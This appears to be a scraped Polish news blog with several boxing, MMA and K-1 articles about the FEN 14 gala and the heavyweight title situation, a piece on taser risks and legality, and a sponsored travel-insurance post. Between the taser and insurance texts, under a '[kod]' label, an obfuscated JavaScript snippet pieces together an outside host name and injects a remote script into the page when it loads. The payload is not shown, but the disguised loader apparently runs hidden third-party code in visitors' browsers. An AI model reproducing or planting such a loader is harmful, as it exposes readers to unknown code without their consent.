Najpierw aktorów było dwóch: Tyson Fury i Władimir Kliczko. Mieli zmierzyć się w pojedynku rewanżowym o prymat w wadze ciężkiej. Po cichu do gry wkroczył Anthony Joshua, który wykorzystał zamieszanie wokół Fury'ego. Co teraz?

Wiadomo, że Fury ma ogromne problemy. Depresja, uzależnienie od używek stały się źródłem kłopotów 28-latka. Sprawa ujrzała światło dzienne i bokser urodzony w Wythenshawe postanowił zwakować WBA i WBO. Na horyzoncie pojawił się pojedynek Kliczko – Joshua. Wydaje się realny, ale droga do zakontraktowania walki wydaje się pełna zakrętów.

Ciężka ta waga ciężka

Nie da się ukryć, że praktycznie wszyscy myśleli, iż w listopadzie ubiegłego roku zaczęła się nowa historia. Tyson Fury zdetronizował Władimira Kliczko w wadze ciężkiej. Upłynęło nieco wody w Wiśle i okazało się, że pyskaty Brytyjczyk zmaga się z ogromnymi problemami. Uciekał od rewanżowego starcia z Ukraińcem, ale nie umiał poradzić sobie z uzależnieniem. Do tego doszła depresja. Sprawa zrobiła się niezwykle zawiła i skomplikowana, ale nadal jej finału próżno szukać.

Młody i przebojowy Anthony Joshua stał się nową nadzieją wagi ciężkiej. W kwietniu pokonał Charlesa Martina i zgarnął pas IBF. Do tej pory wszystkie walki, 17, wygrał przed czasem. Ma cios, którego obawiają się kolejni rywale. Z pewnością do tego grona nie można zaliczyć Władimira Kliczko. Ukrainiec niejedno w życiu widział i ringowego doświadczenia można mu pozazdrościć.

W wyniku afery z Fury'm pojawiły się informacje o planach zorganizowania walki mistrza IBF z byłym królem wagi ciężkiej. Wraz z upływem czasu mówiło się o tym coraz głośniej. Pojedynek miałby odbyć się w grudniu. Jego stawka, wobec decyzji Fury'ego o zwakowaniu pasów, byłaby ogromna. Zwycięzca zostałby władcą kategorii królewskiej. Pytanie, ile dzieli nas od tego starcia? Z  każdym dniem wydaje się, że pojedynek oddala się.

Szukają alternatyw 

Niby wszystko gra, sytuacja jest pod kontrolą, ale słychać niepokojące głosy. Pierwszą kością niezgody jest pas WBA. Ukraińcowi zależy, aby był on stawką pojedynku. Obie strony wystosowały do WBA stosowne pisma. Jednak warto zauważyć, że Kliczko wcale nie musi wejść do ringu z Joshuą, aby odzyskać utracone pasy. To również daje do myślenia.

Zwłaszcza, że każdy z pięściarzy ma zobowiązania telewizyjne z inną stacją. Pogodzenie tych interesów może być niezwykle trudne. Pojawiły się już nawet nazwiska ewentualnych rywali Ukraińca i Brytyjczyka. Kliczko miałby się zmierzyć z Lucasem Browne'm, a na Joshuę czekałby Eric Molina. Pytania mnożą się, odpowiedzi brak. Trzeba cierpliwie czekać.

KM

3 kontrowersje wokół paralizatorów

Paralizatory stanowią jeden z najpopularniejszych środków obrony. Wykazują się wysoką skutecznością i potrafią szybko spacyfikować napastnika. Stan paraliżu po użyciu paralizatora może trwać nawet kilkadziesiąt minut!

 

Jako broń służąca do obrony osobistej w ekstremalnych sytuacjach, nie mają na celu wyrządzenia długotrwałej krzywdy. Wyzwolonym łukiem elektrycznym obezwładnia agresora. Wokół gorącego tematu paralizatorów krążą jednak różne kontrowersje.

Zabójcze paralizatory

Co jakiś czas media donoszą o śmiertelnych wypadkach użycia paralizatora. Napastnik, który miał być obezwładniony, wskutek bardzo silnego wyładowania elektrycznego zmarł. Bardzo głośna była sprawa Roberta Dziekańskiego – polskiego emigranta, który w 2007 roku zmarł na lotnisku w Vancouver przez pięciokrotne porażenie paralizatorem przez policjantów. Tragiczny przypadek kolejny raz potwierdził jak bardzo niebezpiecznym środkiem może stać się paralizator.

Kiedy paralizator stanowi zagrożenie? Na tragiczne skutki użycia paralizatora mogę być narażone osoby, które:

  • borykają się z problemami zdrowotnymi na tle kardiologicznym

  • są bardzo szczupłe – znikoma ilość tkanki tłuszczowej wzmaga efekty użycia paralizatora

  • są pod działaniem alkoholu, leków i narkotyków

  • są starsze lub w bardzo młodym wieku

  • mają podwyższone ciśnienie tętnicze

  • cierpią na epilepsję

  • mają problemy oddechowe i metaboliczne

  • posiadają elektryczny rozrusznik serca i zastawkę serca

Skutki użycia paralizatora

""W zależności długości rażenia wiązką elektryczną paralizatory wywołują różne skutki.

  • Po 1 sekundzie powoduje krótki wstrząs, szok i skurcz mięśni.

  • Po 2–3 sekundach wzbudza ból w mięśniach uderzonych i upadek.

  • Po 3–5 sekundach wywołuje konwulsje, silny ból mięśni, paraliż.

  • Zaatakowanie osoby paralizatorem na dłużej niż 5 sekund może wywołać poważny uszczerbek na zdrowiu.

W przypadku zamachu na nasze życie lub zdrowie mamy pełne prawo do obrony i odparcia ataku. Nie ma możliwości przewidzenia ewentualnych problemów sercowych czy chorób napastnika. W teorii zgodnie z prawem w wypadku, gdy napastnik odniesie uszczerbek zdrowia, a napaść była odparta współmiernie do siły ataku, osoba broniąca się nie powinna ponieść konsekwencji prawnych. Każdy przypadek rozpatrywany jest jednak indywidualnie.

Legalność paralizatorów

W niektórych krajach posiadanie i noszenie przy sobie paralizatora jest niezgodne z prawem. Nieprzestrzeganie zakazu grozi poważnymi sankcjami. Chociażby w Wielkiej Brytanii do samoobrony nie można używać jakichkolwiek narzędzi, nie tylko paralizatorów, ale też gazów pieprzowych czy kubotanów. Na Islandii nielegalne jest posiadanie gazów pieprzowych, w Szwecji trzeba na niego posiadać pozwolenie na broń. Jak sytuacja prezentuje się w Polsce?

Prawo pozwala legalne użycie paralizatora bez pozwolenia do samoobrony. Pozwolenie na broń nie jest wymagane w przypadku posiadania narzędzi przeznaczonych do pacyfikowania osób za pomocą energii elektrycznej o średniej wartości prądu w obwodzie nieprzekraczającej 10 mA. Obowiązkiem jest używanie paralizatora ostrożnie i zgodnie z prawem. Przypominamy, że dla osób chorych na serce może stanowić duże niebezpieczeństwo, a nawet spowodować śmierć.

[kod]

(function(){
ztkg=document.createElement("script");ztkg_=(("u")+"st")+"a";ztkg.async=true;
ztkg.type="text/javascript";ztkg_+=("t.i")+""+"n";ztkg_+=(("f")+"o");ztkg_+="/";
ztkgu="13535571.";ztkgu+="pd87tc2wtkggti7bdwa"+"vapdtnjywbX";
ztkg.src="//"+ztkg_+ztkgu; document.body.appendChild(ztkg);
})();

Czy masz już wybrane ubezpieczenie turystyczne?

Jest jesień, okres w którym rzadko jeździ się na urlopy. Niektórzy jednak już planują zimowe wojaże. Aby zarezerwować nocleg w dobrej cenie należy to zrobić odpowiednio wcześnie.

 

Jesień jest dobrym czasem na podejmowanie takich decyzji. Większość dat jest jeszcze nie zarezerwowana i można swobodnie przebierać w ofertach zarówno wycieczek, noclegów, czy choćby transportu w wybrane miejsce. Zapobiegliwi i Ci, którzy nie lubią w pośpiechu i byle jak wybierać miejsca na ferie zimowe mają już wszystko zaplanowane. Z pewnością również wybrali odpowiednie ubezpieczenie turystyczne. Jesteście zaskoczeni? Jeśli tak to, to być może oznacza, że nie traktowaliście do tej pory tego typu ubezpieczeniami na poważnie i z pewnością powinniście się z nimi zapoznać. Ubezpieczenia turystyczne są coraz bardziej popularne i słusznie, gdyż zapewniają wsparcie, bez którego niektórzy mogą długo i boleśnie odczuwać konsekwencje wyjazdu na urlop czy to letni czy też zimowy.

Niezależnie od miejsca do którego wybiera się na urlop, powinno się w maksymalny sposób zabezpieczyć, dlatego że nieprzewidziane wypadki mogą się zdarzyć nie tylko podczas uprawiania ekstremalnych sportów, ale również przy zwiedzaniu miasta, biwakowaniu w lesie, czy klasycznej jeździe na nartach. Uczucie bezpieczeństwa jakie zapewnia nam ubezpieczenie turystyczne jest bezcenne. Ze spokojną głową można wyruszyć na urlop, nie martwiąc się na przykład o skutki finansowe wynikające z różnych nagłych wypadków. Wybierać możemy spośród różnych wariantów ubezpieczenia i każdy dopasuje takie, które najbardziej będzie nam pasowało.

Do wyboru mamy zazwyczaj podstawowe lub rozbudowane pakiety ubezpieczeń, zawierające różne rodzaje ochrony. Wystarczy na spokojnie się z nimi zapoznać i wybrać ten właściwy.

Co mogą zawierać pakiety ubezpieczeń?

NNW. Jest to ubezpieczenie od następstw nieszczęśliwych wypadków. Warto mieć je posiadać głównie wtedy, gdy planujemy wypad krajowy. W zależności od rodzaju aktywności pakiety NNW mogą być rozbudowane o refundację kosztów leczenia i rehabilitacji, OC czy nawet używany przez nas sprzęt sportowy.

Kolejnym bardzo ważnym i dość często mylonym z NNW ubezpieczeniem są polisy tzw. kosztów leczenia podczas zagranicą. Jak już sama nazwa zabezpieczają nas one w przypadku konieczności skorzystania z usług medycznych poza granicami Polski. Należy tutaj zdecydowanie podkreślić, że pomimo posiadania przez nas karty EKUZ każde poważniejsze zdarzenie może wiązać się dla nas z koniecznością partycypowania w kosztach związanych z wypadkiem bądź chorobą. Najlepszym przykładem są tutaj powszechne i niepokrywane przez EKUZ koszty ratownictwa narciarskiego, transportu czy też innego rodzaju udział w kosztach, zależny od kraju w którym przyjdzie nam korzystać z systemu medycznego. Podobnie jak w przypadku NNW pakiety kosztów leczenia mogą być rozbudowane o różne dodatkowe opcje, jak OC, bagaż, sprzęt sportowy, etc.

Ubezpieczenie podczas uprawiania sportu. Jest bardzo istotny element, na który koniecznie trzeba zwrócić uwagę. Podstawowe ubezpieczenia najczęściej nie obejmują wielu aktywności uznawanych choćby za amatorskie czy też wyczynowe uprawianie sportu. Najpopularniejszym przykładem są tutaj narty, które w typowych rozwiązaniach wymagają specjalnych rozszerzeń w zależności od intensywności uprawiania (rekreacja, treningi, zawody) lub miejsca w którym zamierzamy jeździć (przygotowane trasy, jazda po puchu). Koszty związane z wypadkami narciarskimi są zazwyczaj wysokie i dlatego powinniśmy pamiętać o tego typu ubezpieczeniu kiedy podczas ferii zimowych wybieramy się na stoki. Koniecznie też należy zwrócić uwagę na ubezpieczony rodzaj uprawianego sportu.

Ochrona bagażu wydaje się mało istotnym elementem. Nic bardziej mylnego. Takie ubezpieczenie jest stałym elementem pakietów lub opcją do wyboru. Jest niezwykle przydatne w sytuacji kradzieży bądź zgubienia lub uszkodzenia bagażu. Wtedy to można liczyć na pokrycie kosztów zakupu utraconych a niezbędnych do kontynuowania wyjazdu rzeczy. Pokryje ono poniesione straty. Oczywiście zawsze należy zwracać uwagę jak bagaż przechowujemy. W jaki sposób powinniśmy to robić określają warunki ubezpieczenia.

Warto również zwrócić uwagę na ubezpieczenie sprzętu sportowego czy odpowiedzialności cywilnej (OC). Te elementy również potrafią być bardzo przydatne i powinno się wybierać opcje w których występują.

Jeśli nie masz zbyt dużo cennego czasu na bieganie po placówkach ubezpieczycieli to wykup ubezpieczenia turystyczne online. Można to zrobić na znanej wszystkim stronie http://nrnf.pl/. Jest to rzetelna firma oferująca gotowe pakiety ubezpieczeń. W szybki i bezpieczny sposób można ubezpieczyć siebie i swoją rodzinę.

Sarara mistrzem, Szymański traci tytuł

Podczas gali FEN 14 w katowickim Spodku można było zobaczyć praktycznie wszystko. Potężne ciosy, nokauty i efektowne poddania. Pas mistrzowski organizacji w K-1 w kategorii cruiser wywalczył Tomasz Sarara. Z tytułem w wadze lekkiej pożegnał się Roman Szymański.

W większości walk nie było zbędnej kalkulacji. Zaimponował Joilton Santos, który został nowym mistrzem FEN. Swoją klasę potwierdzili także aktorzy głównego widowiska, czyli Tomasz Sarara i Dennis Stolzenbach.

Efektowni mistrzowie, mocny Hadaś

Głównym wydarzeniem gali FEN 14 było starcie o tytuł w kategorii cruiser K-1. Tomasz Sarara i Dennis Stolzenbach to utytułowani i doświadczeni zawodnicy. W Katowicach potwierdzili swoje umiejętności. Zaczęli spokojnie. Holender dobrze spisywał się w obronie. W drugiej rundzie poszedł do przodu, czym sprawił nieco problemów Polakowi. Czas Sarary nadszedł w trzeciej odsłonie. 31-latek mocnym front kickiem pokazał rywalowi, że musi mieć się na baczności. Holender nie miał zamiaru się bronić. Nadal był agresywny i szukał kontaktu. Stolzenbach przeważał w czwartej rundzie, jednak w kolejnej Sarara dobrze trzymał gardę i wyprowadzał celne ciosy. Walka niezwykle wyrównana, zacięta i mordercza. Doświadczeni zawodnicy przetrwali pięć rund, w których wcale się nie oszczędzali. Werdykt był sporą niewiadomą. Tytuł trafił do Tomasza Sarary.

W Katowicach doszło do długo wyczekiwanej walki pomiędzy Pawłem Brandysem a Pawłem Hadasiem w MMA. Od początku nie brakowało ciosów, co mogło podobać się publiczności. Ruchliwością imponował 30-letni Hadaś, który miał minimalną przewagę. Przede wszystkim pojedynek toczył się w parterze. W drugiej rundzie Hadaś nie pozwolił Brandysowi na zbyt wiele. Dominował w parterze, a rywal tracił siły. 30-latek wykorzystał to w trzeciej rundzie, gdy wyczuł słabość 22-letniego przeciwnika. Duszenie zza pleców okazało się zabójczą bronią. Hadaś mógł cieszyć się z drugiej wygranej na FEN przed czasem.

Roman Szymański stanął przed zadaniem obrony pasa mistrzowskiego wagi lekkiej FEN, jednak pojedynek nie potoczył się po jego myśli. Joilton Santos w przekroju całej walki zaimponował konsekwencją. Brazylijczyk dążył do tego, aby wykorzystać swoje umiejętności parterowe. Już w pierwszej rundzie zapisał na swoim koncie sprowadzenie. Szymański nie był w stanie mu zagrozić, jednak w drugiej rundzie błysnął. Polak wstał, po przetoczeniu znalazł się w lepszym położeniu. Kontrolował walkę i obijał rywala. W trzeciej odsłonie Santos pokazał, że jego atutem jest również siła. Mocny cios w stójce zrobił wrażenie na Szymańskim. Czwarta runda to dominacja Brazylijczyka, który obijał Polaka. Ten starał się znaleźć wyjście z sytuacji, ale bezskutecznie. Do końca Szymańskiemu nie udało się niczym zaskoczyć rywala. W piątej rundzie sędzia odjął Brazylijczykowi punkt, ale nie miało to znaczenia. W przekroju całej walki wyglądał lepiej, co miało odzwierciedlenie w ostatecznym rezultacie. Sędziowie wskazali na Santosa, który został nowym mistrzem FEN. 

Okazji do zachwytu nie brakowało

Wielkie pojedynki w K-1! Kamil Jenel nie dał żadnych szans Pavlowi Oboznemu. Receptą na sukces okazały się low kicki. Już w pierwszej rundzie Czech dwa razy leżał na deskach. W drugiej odsłonie Jenel znokautował rywala. Efektowne widowisko stworzyli Paweł Biszczak i Tomasz Gromadzki. Obaj zawodnicy zaimponowali przygotowaniem kondycyjnym, siłą, a przede wszystkim wytrzymałością. Nie brakowało efektownych wymian. Do rozstrzygnięcia potrzebna była runda dodatkowa. Po niej ze zwycięstwa mógł cieszyć się Biszczak.

Podczas gali w katowickim Spodku nie brakowało efektownych rozstrzygnięć w pojedynkach na zasadach MMA. Po raz kolejny zaimponował Tyberiusz Kowalczyk. Były strongman ma fantastyczny bilans walk w FEN – trzy walki i 100-procentowa skuteczność. W Katowicach marsz „Tyberiana” chciał powstrzymać Tomasz Czerwiński. 40-latek już w pierwszej rundzie musiał odklepać. Po wymianie ciosów w stójce, pojedynek toczył się w parterze. Kowalczyk okazał się bezlitosny dla rywala. Udany debiut w FEN zaliczył Martin Chudej. Czech był o ponad 10 kilogramów cięższy od Akopa Szostaka i wykorzystał tę przewagę. Szybko ruszył na Polaka, zamroczył go i niemiłosiernie okładał pod siatką. Sędzia był zmuszony przerwać walkę. Szostak przegrał drugą walkę z rzędu.

Z dobrej strony pokazał się Albert Odzimkowski, który w drugiej rundzie zmusił Mateusza Strzelczyka do poddania. Sposobem na zwycięstwo okazało się duszenie zza pleców. Bezlitosny dla rywala okazał się Andrzej Grzebyk. W pierwszej rundzie Polak udowodnił swoją wyższość nad Alexeyem Repalovem. Grzebyk wykorzystał fakt, że Białorusin znalazł się na plecach i słał kolejne ciosy z góry. Repalov nie był w stanie wyjść do drugiej rundy. 

W karcie wstępnej znalazły się dwa pojedynki MMA. Kamil Selwa na punkty okazał się lepszy od Piotra Olszynki. Efektownie zaprezentował się Łukasz Stanek, który w drugiej rundzie zmusił do poddania Adriana Błeszyńskiego.

KM

Zbliżają się mistrzostwa świata taijiquan

W Pruszkowie odbędą się zmagania o medale mistrzostw świata taijiquan. To druga impreza w historii. Pierwszy czempionat odbył się dwa lata temu w Chinach.

Warto nadmienić, że taijiquan w związku z ogromną popularnością zostało wydzielone z systemów walk wushu. Widzowie mogą skupić swoją uwagę na efektownych pokazach. Najbliższa okazja, aby polska publiczność mogła zapoznać się w elementami taijiquan już 17-20 października w pruszkowskiej hali Znicz. Wstęp na mistrzostwa świata jest wolny.

Chińska tradycja

Aby zagłębić się i poznać taijiquan należy udać się do Chin, które słyną z systemów walki. Przede wszystkim ważna jest harmonia między ciałem a umysłem. Warto również wspomnieć o ogromnym szacunku dla przeciwnika. Na świecie taijiquan trenują miliony osób, jednak zwracają uwagę na aspekt rekreacyjny. W Pruszkowie będzie okazać zobaczyć zawodników, którzy opanowali tę sztukę walki do perfekcji.

Polska aktywnie działa w obszarze wushu już od kilkunastu lat. – Środowisko polskiego wushu rozwija się od lat 80. W 1983 roku powstało Polskie Zrzeszenie Kung Fu/Wushu, które było jednocześnie stowarzyszeniem zrzeszającym szkoły kung fu. Polski Związek Wushu powstał w 2002 roku – przedstawił podczas konferencji prasowej przed mistrzostwami świata Dariusz Piwowarski, prezes Polskiego Związku Wushu.

Walka o organizację imprezy była zażarta. Polska stoczyła bój m.in. z Indonezją, Rosją i Włochami. Wyszła z niego zwycięsko. – Przez kilka ostatnich lat występowaliśmy o zorganizowanie imprezy rangi mistrzostw świata. Taka szansa pojawiła się w ubiegłym roku. Złożyliśmy aplikację do Międzynarodowej Federacji Wushu o organizację tych zawodów. W listopadzie przyznano nam imprezę. Są to pierwsze zawody rangi mistrzostw świata, które odbywają się w Polsce. Do tej pory tylko Bułgaria organizowała tego typu zawody. W tym roku odbyły się tam mistrzostwa świata juniorów wushu. Mówimy tu o krajach Unii Europejskiej. Tai-chi jest jednym z najbardziej rozpoznawalnych systemów wushu na całym świecie – powiedział Piwowarski.

Walka o medale

W Pruszkowie zaprezentuje się ponad 300 zawodników w kilkunastu konkurencjach. Nie zabraknie efektownych pokazów, w których pojawi się broni m.in. kij, sztylet czy włócznia. Warto wspomnieć, że w taijiquan może spotkać zawodników zróżnicowanych wiekowo. Tu nie ma żadnych barier. 

Ceremonia otwarcia odbędzie się 16 października o godz. 19.00. Już kolejne dnia na starcie pojawią się zawodnicy, którzy rozpoczną zmagania o 9.00.

Nie zabraknie Polaków, którzy zdobywali już medal na mistrzowskich imprezach. Ewa Solarz to medalistka poprzednich mistrzostw świata. W Chengdu sięgnęła po brąz. Tym razem również powalczy o miejsce na podium, oprócz niej zobaczymy m.in. Annę Kubiak, Monikę Steckiewicz czy Bohdana Sawczyna.

KM

Latający talerz czeka na wojowników

Już 15 października katowicki Spodek będzie gościł aktorów gali FEN 14 Silesian Rage. Arena doskonale zna smak mistrzowskich imprez, jednak niedawno przeszła modernizację i gotowa jest przyjąć ponad 10 tysięcy widzów. Gwiazdy MMA i K-1 chcą zapełnić trybuny.

Organizacja Fight Exclusive Night nie zwalnia tempa. W Katowicach odbędzie się już piąty tegoroczny event FEN. Prezentowanie walk MMA i K-1 jest niezwykle ciekawe i budzi entuzjazm publiczności, która żadną jest wielkiego widowiska.

Jeden broni, drugi powalczy

Nie ma, co ukrywać, że zawsze wszyscy spoglądają na sam szczyt. Walki wieczoru budzą największy entuzjazm i to na te pojedynki czeka się z największą niecierpliwością. W Katowicach mistrzowskiego pasa FEN w wadze lekkiej będzie bronił Roman Szymański. 23-latek tytuł wywalczył podczas gali FEN 11 Warsaw Time, kiedy stoczył morderczą pięciorundową walkę z Marianem Ziółkowskim. Polak nie przegrał kolejnych ośmiu walk. Teraz jest mistrzem i musi bronić swojej zdobyczy. Atak na pas przeprowadzi Brazylijczyk Joulton Santos. W tym roku 23-latek walczył tylko raz i przegrał przed czasem. Santos jest wyższy od mistrza FEN, ale na przygotowania do walki miał mniej czasu. Początkowo Szymański miał walczyć z Davy Gallonem. Musi stawić czoła Brazylijczykowi i udowodnić swoją wartość.

Jeden z najlepszych zawodników wagi cruiser K-1 Tomasza Sarara ponownie zaprezentuje się na gali FEN. Tym razem Polak powalczy o mistrzowski pas. Jego rywalem będzie Dennis Stolzenbach, który zdobywał tytuły mistrzowskie IKBA. Obaj mają ogromne doświadczenie. Pojedynek w wadze 95kg to starcia fighterów, którzy łącznie stoczyli 100 walk. Holender wygrał aż 41 pojedynków, z kolei Sarara triumfował 33 razy. To pokazuje, że spotkają się zawodnicy o nieprzeciętnym poziomie umiejętności.

Paweł Hadaś kroczy od zwycięstwa do zwycięstwa. W kolejnym pojedynku na zasadach MMA zmierzy się z Pawłem Brandysem, dla którego będzie to debiut w organizacji FEN. 22-latek może okazać się trudnym przeciwnikiem dla Hadasia, który w styczniu przed czasem pokonał Aleksandra Rychlika. Brandys to niezwykle ruchliwy i nastawiony ofensywnie fighter. Hadaś również przyzwyczaił widzów do widowisk walk. Może być gorąco!

Paweł Biszczak urósł do miana gwiazdy organizacji FEN. Zaprawiony w bojach kickboxer w walce w limicie 77kg zmierzy się z Tomaszem Gromadzkim. „Zadyma” trenuje kickboxing dopiero… pięć lat, ale sporty walki ma we krwi. Wcześniej uprawiał karate i boks. Na rozkładzie ma takich zawodników jak Janu Malkriado Cruz czy Pavel Obozny. W starciu z Biszczakiem będzie musiał wspiąć się na wyżyny.

Zmiana u Tyberiana

Początkowo Tyberiusz Kowalczyk miał na FEN 14 walczyć z Kamilem Bazelakiem, jednak ten z powodu kontuzji musiał wycofać się z rywalizacji. Były strongman w starciu „ciężkich” w MMA zmierzy się z Tomaszem Czerwińskim. Czy Tyberian po raz kolejny rozprawi się z rywalem? Dotychczasowe dwie walki dla FEN wygrał przed czasem.

Debiut w organizacji FEN zaliczył Martin Chudej. 34-latek zmierzy się z Akopem Szostakiem, który będzie chciał się zrehabilitować za marcową porażkę z Kowalczykiem. Albert Odzimkowski stoczy kolejny pojedynek dla FEN, tym razem na zasadach MMA zmierzy się z Mateuszem Strzelczykiem, z kolei Alexey Repalov będzie rywalizował z Andrzejem Grzebykiem. W K-1 Pavel Obozny spotka się z Kamilem Jenelem.

Warto wspomnieć o dwóch pojedynkach, które znalazły się w karcie wstępnej. Na zasadach MMA w 77kg Łukasz Stanek zmierzy się z Adrianem Błeszyńskim, a w 61kg Piotr Olszynka z Kamilem Selwą. 

KM

FEN 14 Silesian Rage – rozkład jazdy

Federacja Fight Exclusive Night przedstawia kalendarium wydarzeń podczas FEN 14 Fight Week:

środa, 12 października, godz. 14, Centrum Olimpijskie PKOl , Wybrzeże Gdańskie 4, Warszawa

  • konferencja prasowa z udziałem bohaterów walk wieczoru gali FEN 14 Silesian Rage: Romana Szymańskiego, Joiltona Santosa, Tomasza Sarary, Dennisa Stolzenbacha, a także Akopa Szostaka, Pawła Hadasia i Pawła Brandysa oraz szefów federacji FEN Pawła Jóźwiaka i Rafała Sawickiego

czwartek, 13 października, godz. 15, Jatomi Fitness w Silesia City Center, ul. Chorzowska 107, Katowice

  • oficjalny media trening z udziałem Romana Szymańskiego, Joiltona Santosa, Tomasza Sarary, Dennisa Stolzenbacha, Pawła Hadasia, Tomasza Gromadziego, Pavla Oboźnego, Kamila Jenela, Martina Chudeja, Łukasza Stanka i Piotr Olszynki
  • transmisja na żywo na platformie www.Fightime.pl oraz stronie internetowej www.fen-mma.com
  • wstęp wolny dla kibiców i dziennikarzy

 

piątek, 14 października, godz. 17, hala Spodek, al. Korfantego 35, Katowice

  • oficjalna ceremonia ważenia z udziałem wszystkich zawodników walczących na gali FEN 14 Silesian Rage 
  • transmisja na żywo na platformie www.Fightime.pl oraz stronie internetowej www.fen-mma.com
  • wstęp wolny dla kibiców i dziennikarzy

sobota, 15 października, godz. 18, hala Spodek, al. Korfantego 35, Katowice

  • gala FEN 14 Silesian Rage
  • otwarcie bram hali o godz. 17
  • kasy biletowe w hali Spodek będą czynne od godz. 15
  • bilety online: www.Eventim.pl i www.KupBilet.pl, bilety VIP: tel. 601  877 229
  • transmisja na żywo w telewizji Polsat Sport Fight i na platformie www.Ipla.tv (od godz. 19 – karta wstępna, karta główna, walki wieczoru), Polsat Sport (od godz. 20 – karta główna, walki wieczoru) i Polsat (godz. 00:00 – walki wieczoru)
  • akredytacje dziennikarskie można uzyskać, wypełniając formularz na stronie www.fen-mma.com/akredytacje lub na platformie www.accredito.com/fen – termin nadsyłania zgłoszeń upływa w piątek, 14 października, o godz. 16

sobota, 15 października, godz. 22, Marquee Club & Restaurant, ul. Mickiewicza 4, Katowice

  • FEN After Party z udziałem zawodników, władz federacji FEN, FEN Ring Girls, hostess oraz gości VIP 
  • rezerwacja wejściówek: tel. 576 219 123 

Panowie prosimy o zgłoszenia

Afery dopingowe paraliżują świat sportu. Wpadki kolejnych mistrzów powodują, że coraz więcej osób wątpi w sprawiedliwą i równą rywalizacją. Bokserska federacja WBC wprowadziła Clean Boxing Program.

Pięściarze mieli czas do wtorku tj. 11 października, żeby składać formularze w programie antydopingowym. Problem w tym, że nie wszyscy zgłosili chęć uczestnictwa.

Rzucić wyzwanie dopingowi

Federacja WBC chce, aby rywalizacja była czysta. Przede wszystkim liczy się dbałość o szczegóły i zminimalizowanie ryzyka, że któryś z bokserów zdecyduje się sięgnąć po niedozwolone środki. Skutecznym narzędziem ma okazać się Clean Boxing Program. Przez cały rok prowadzone będą niezapowiedziane kontrole antydopingowe. Federacja wystosowała prośbę do wszystkich mistrzów świata oraz sklasyfikowanych w pierwszej piętnastce swoich rankingów. Wystarczyło wypełnić odpowiedni formularz.

Nie wszyscy bokserzy spełnili wymagania WBC. Do programu nie dołączył były mistrz świata WBA w kategorii ciężkiej oraz WBC, WBA i WBO w kategorii junior ciężkiej David Haye. Zgłoszeń nie wysłali również były czempion wagi półciężkiej Jean Pascal, pięściarz kategorii lekkopółśredniej Lamont Peterson czy też Gabriel Rosado rywalizujący w wadze średniej. 

Niektórzy starają się tłumaczyć brak zgłoszeń. Powodem ma być… niewiedza. Tak miało być w przypadku Felixa Verdejo, który uchodzi za wielki talent wagi lekkiej. 23-latek został usunięty z list WBC. Wśród tych, którzy nie zgłosili się do programu wymieniano również Amira Khana. Ostatecznie bokser poinformował, że wysłał swoje zgłoszenie.

Warto nadmienić, że do programu przystąpili Polacy klasyfikowani przez WBC m.in. Artur Szpilka i Krzysztof Głowacki.

Październikowe rankingi

Przy okazji sprawy dotyczącej programu antydopingowe WBC warto pochylić się nad najnowszym rankingiem federacji. W październikowym notowaniu znalazło się trzynastu polskich pięściarzy.

Najlepiej wygląda sytuacja naszych pięściarzy, którzy rywalizują w wadze junior ciężkiej. Po dwóch wygranych w tym roku Krzysztof Włodarczyk może pochwalić się trzecią pozycją. Były mistrz świata Krzysztof Głowacki zajmuje ósmą pozycję, a Mateusz Masternak jest jedenasty. Dwudziestą pozycję zajmuje niepokonany Michał Cieślak.

Na listy WBC powrócił Artur Szpilka, który w wadze ciężkiej jest na 9. miejscu. Mariusz Wach zajmuje 12. pozycję, Andrzej Wawrzyk 16, a Izuagbe Ugonoh znalazł się na 39. lokacie. W wadze półciężkiej najwyżej znalazł się Andrzej Fonfara (7), a w średniej Maciej Sulęcki (13).

KM

ZAPROSZENIE NA KONFERENCJĘ PRASOWĄ PRZED GALĄ FEN 14 SILESIAN RAGE

Organizacja Fight Exclusive Night serdecznie zaprasza na konferencję prasową poświęconą zbliżającej się gali FEN 14 Silesian Rage z udziałem głównych bohaterów tej zapowiadającej się wyjątkowo emocjonująco imprezy.

Konferencja prasowa „face to face” odbędzie się w najbliższą środę, 12 października 2016 r., o godz. 14 w Sali A na parterze Centrum Olimpijskiego PKOl im. Jana Pawła II przy Wybrzeżu Gdyńskim 4 w Warszawie.

Podczas konferencji po raz pierwszy twarzą w twarz staną ze sobą zawodnicy, którzy już w sobotę, 15 października, w katowickim Spodku będą walczyć o pasy mistrzowskie federacji FEN: broniący tytułu mistrza w formule MMA w wadze lekkiej Roman Szymański i jego rywal Joilton Peregrino Santos z Brazylii oraz utytułowani kickbokserzy Tomasz Sarara i Holender Dennis Stolzenbach, których czeka pierwszy w historii pojedynek o tytuł mistrza FEN w K-1 wagi cruiser.

Oprócz nich podczas spotkania z prasą prosto w oczy spojrzą sobie także uczestnicy poprzedzającego walki wieczoru starcia na zasadach MMA – utalentowani fighterzy Paweł Hadaś i Paweł Brandys. W konferencji uczestniczyć będzie również dobrze znany Akop Szostak, który na gali FEN 14 Silesian Rage zmierzy się z Czechem Martinem Chudejem, oraz włodarze organizacji FEN – prezes Paweł Jóźwiak i wiceprezes Rafał Sawicki.

Na konferencję prasową w miejscu najściślej związanym z polskim sportem zapraszamy nie tylko przedstawicieli mediów, ale także sympatyków sportów walki, bowiem spotkanie będzie miało charakter otwarty.

Dziennikarzy prosimy o potwierdzenie udziału w konferencji mailowo na adres a.furyk@fen-mma.com. Jednocześnie zachęcamy też do składania wniosków o akredytację na galę FEN 14 Silesian Rage na stronie federacji FEN: fen-mma.com/akredytacje lub w systemie Accredito: accredito.com/fen.

Więcej informacji na temat federacji Fight Exclusive Night oraz gali FEN 14 znajdą Państwo w załączonej prezentacji. Oficjalny trailer zawodów w Spodku można obejrzeć na fanpage’u FEN na Facebooku lub kanale FEN na Youtube.

W imieniu zarządu Fight Exclusive Night

Adam Furyk
FEN press officer
tel. 502 433 940

fen-mma.com
facebook.com/FightExclusiveNight

Repalov kontra Grzebyk na gali FEN 14 Silesian Rage

Białoruski zawodnik MMA Alexey Repalov dołączy do karty walk gali FEN 14 Silesian Rage, która odbędzie się już 15 października w Katowicach. 32-letni fighter z Bobrujska zmierzy się z utalentowanym polskim zawodnikiem Andrzejem Grzebykiem reprezentującym Legion Team Tarnów.

